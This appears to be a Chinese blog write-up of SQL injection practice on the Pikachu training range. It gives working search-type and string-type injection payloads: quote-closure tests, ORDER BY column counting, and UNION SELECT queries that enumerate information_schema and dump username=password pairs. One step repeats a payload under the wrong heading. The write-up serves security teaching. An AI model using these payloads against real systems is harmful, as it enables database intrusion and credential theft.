pikachu之sql lnjet之搜索型注入

搜索型注入(Search-Based SQL Injection)是指在搜索框或类似的输入字段中进行SQL注入攻击。这种注入方法利用用户输入直接嵌入到SQL查询中的特性,通过构造恶意输入来操控数据库查询,获取或篡改数据。

输入%看看

那么依旧进行闭合测试

allen' and 1=1--+正常显示

allen' and 1=2     --+没法搜到

然后开始猜字段

allen' order by 1 --+

allen' order by 2 --+

allen' order by 3 --+正常

allen' order by 4 --+unknown

所以为3

开始查询数据库

allen' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+

查表

allen' union select 1,2,(select group_concat(username,'=',password) from users) --+

查字段

allen' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

接着

查用户名和密码

allen' union select 1,2,(select group_concat(username,'=',password) from users) --+

### Pikachu靶场中的SQL注入字符型攻击方法 在Pikachu靶场中,字符型SQL注入是一种常见的漏洞利用形式。当应用程序未能正确过滤用户输入并将其直接拼接到SQL语句中执行时,就可能发生这种类型的攻击。 对于字符型SQL注入,在`http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince%22&submit=%E6%9F%A5%E8%AF%A2`这个URL中,参数`name`是一个字符串类型的数据[^2]。如果该参数未被适当处理,则可以通过构造特定的输入来操纵后台SQL查询逻辑。 #### 构造恶意请求 假设存在如下SQL查询: ```sql SELECT * FROM users WHERE username='vince"' ``` 通过向`name`参数附加特殊字符(如单引号),可以改变原有SQL语句结构,从而实现不同目的的操作。例如,尝试闭合当前条件并通过OR子句绕过验证: ```bash http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince'%20or%20'1'%3D'1 ``` 这会使得最终形成的SQL变为: ```sql SELECT * FROM users WHERE username='vince' or '1'='1' ``` 上述操作将返回所有符合条件的结果集而不是仅限于指定用户的记录。 #### 获取更多信息 为了进一步探索数据库内部情况,可采用联合查询的方式提取额外数据。比如想要知道当前使用的MySQL版本信息,可以在原基础上追加UNION SELECT语句: ```bash http://127.0.0.1/pikchu/vul/sqli/sqli_str.php?name=vince'%20union%20select%20@@version--+ ``` 此命令将会把服务器端运行环境下的MySQL版本展示出来。 需要注意的是,实际渗透测试过程中应当遵循合法授权范围内的活动准则,并且只针对允许测试的目标实施此类技术研究。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安小趴菜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值